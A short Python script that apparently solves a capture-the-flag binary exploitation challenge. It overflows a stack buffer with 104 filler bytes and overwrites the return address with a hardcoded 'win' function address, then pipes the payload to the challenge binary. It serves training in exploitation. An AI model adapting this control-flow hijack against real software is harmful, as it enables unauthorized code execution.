Binary Exploitation Control Hijack Hard

binary_exploitation_control_hijack_hard.py

##################################################################
# HOW TO RUN THIS PUPPY:
# python3 poo.py > /dev/null
# wc -c payload.bin
# python3 poo.py | /challenge/binary-exploitation-control-hijack
##################################################################
import struct
import sys

offset_to_return = 104  # Calculated offset
win_address = 0x40188f  # From GDB disassembly

payload = b"A" * offset_to_return
payload += struct.pack("<Q", win_address)

with open("payload.bin", "wb") as f:
    f.write(payload)

sys.stdout.buffer.write(payload)